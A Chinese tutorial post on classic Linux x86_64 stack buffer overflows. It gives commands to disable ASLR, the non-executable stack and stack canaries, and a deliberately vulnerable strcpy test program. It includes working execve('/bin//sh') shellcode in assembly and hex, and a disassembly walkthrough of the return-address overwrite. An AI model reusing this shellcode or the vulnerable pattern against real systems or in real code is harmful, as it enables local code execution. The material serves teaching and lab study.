初识Linux栈溢出攻击
初识Linux栈溢出攻击
0x00 限定条件
1、关闭aslr(Address Space Layout Randomization)
开启aslr后,应用程序或动态链接库装载时,系统会随机设定其装载基址。这样就避免了攻击者事先预知特定函数的入口地址。ubuntu下的关闭命令为echo 0 >/proc/sys/kernel/randomize_va_space
,该命令需要事先通过su提升到root权限。
2、关闭堆栈段不可执行机制
如果堆栈段被标记为不可执行,那么覆盖程序栈的shellcode就无法执行。关闭堆栈段不可执行机制的gcc编译命令为-z execstack
。
3、关闭gs校验机制
gs校验机制的原理是,进入函数前向程序栈中压入一个随机数,函数返回后检查这个随机数,如果被改写了,就报段错误,结束程序。关闭gs校验机制的gcc编译命令为-fno-stack-protector
。
测试平台为Ubuntu 15.04 64位,测试代码如下
#include<stdio.h>
#include<string.h>
char s[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05\x90\x90\x90\x90\x90\x90\x90\x90\x10\xdb\xff\xff\xff\x7f";
int main()
{
char t[48];
strcpy(t,s);
return 0;
}
编译命令gcc -fno-stack-protector -z execstack -g -o stackTest stackTest.c
0x01 shellcode
;shellcode.asm
BITS 64
; run execve("/bin//sh", NULL, NULL) Linux x86_64 Shellcode
; Shellcode size 34 bytes
global _start
section .text
_start:
xor rax,rax ;clear rax
add rax,0x3b ;syscall_64.tbl ==> 59 64 execve stub_execve
xor rdi,rdi ;clear rdi
push rdi ;push stack (rsp -= 8)
mov rdi,0x68732f2f6e69622f ;hs//nib/ ==> /bin//sh
push rdi ;push stack (rsp -= 8)
lea rdi,[rsp] ;rdi = rsp (%rdi,%rsi,%rdx,%rcx,%r8,%r9 用作函数参数,依次对应第1参数,第2参数)
xor rsi,rsi ;clear rsi
xor rdx,rdx ;clear rdx
syscall
shellcode是一段二进制机器码,以完成特定的任务,比如要弹出shell,在c语言里就是execve(“/bin//sh”, NULL, NULL)就可以了,execve的调用过程用汇编写就是shellcode.asm中的内容[1]
编译shellcode.asm命令nasm -f elf64 shellcode.asm
可以使用脚本提取机器码for i in $(objdump -d shellcode.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
0x02 程序运行栈
gcc把原文件编译为ELF格式的可执行文件,此时ELF文件存储在磁盘上。为了运行这个程序,需要通过系统自带的loader把ELF文件加载到内存中,建立程序运行栈。使用objdump -d stackTest
可以查看ELF文件的反汇编代码,整个程序的入口是.text段的_start函数,该函数通过动态链接的方式调用运行库函数__libc_start_main
。__libc_start_main
主要负责三部分工作[2]:(1)程序初始化和加载(调用__libc_csu_init);(2)运行main函数(调用main);(3)main函数结束后进行清理(调用__GI_exit)。
程序运行栈的结构如下图所示,其中在main函数栈帧上面并紧挨着main函数栈帧的是之前压入栈中的eip寄存器的值,该值指向__libc_start_main
函数中的一条语句,目的是在main函数运行完成后跳转回__libc_start_main
进行清理工作(调用__GI_exit),这个值就是我们要覆盖并操纵的值。下一节我们以main函数栈帧和在栈中紧挨着它的eip寄存器的值为研究对象,观察main函数运行过程中它们的变化,来弄明白栈溢出攻击是如何实现的。
0x03 程序运行过程分解
int main()
{
400536: 55 push %rbp
400537: 48 89 e5 mov %rsp,%rbp
40053a: 48 83 ec 30 sub $0x30,%rsp
char t[48];
strcpy(t,s);
40053e: 48 8d 45 d0 lea -0x30(%rbp),%rax
400542: be 60 10 60 00 mov $0x601060,%esi
400547: 48 89 c7 mov %rax,%rdi
40054a: e8 c1 fe ff ff callq 400410 <strcpy@plt>
return 0;
40054f: b8 00 00 00 00 mov $0x0,%eax
}
400554: c9 leaveq
400555: c3 retq
400556: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
40055d: 00 00 00
1、40053a: sub $0x30,%rsp
执行完成后main函数栈帧的状态:
2、strcpy拷贝过程,先是正常拷贝,然后是溢出覆盖
3、溢出完成后,程序继续向下执行直到
400555: retq
,这条语句执行之前,栈的结构如下图所示,rsp已经改变了位置。retq指令将栈顶元素也就是\x10\xdb\xff\xff\xff\x7f弹出到寄存器rip中,这样,下一步要执行的语句的位置就被修改成了0x7fffffffdb10,经过几个\0x90代表的nop指令,就能顺利执行构造的shellcode了。 试验结果如下图所示:
[1]http://blog.csdn.net/shuimuyq/article/details/50523014
[2]http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html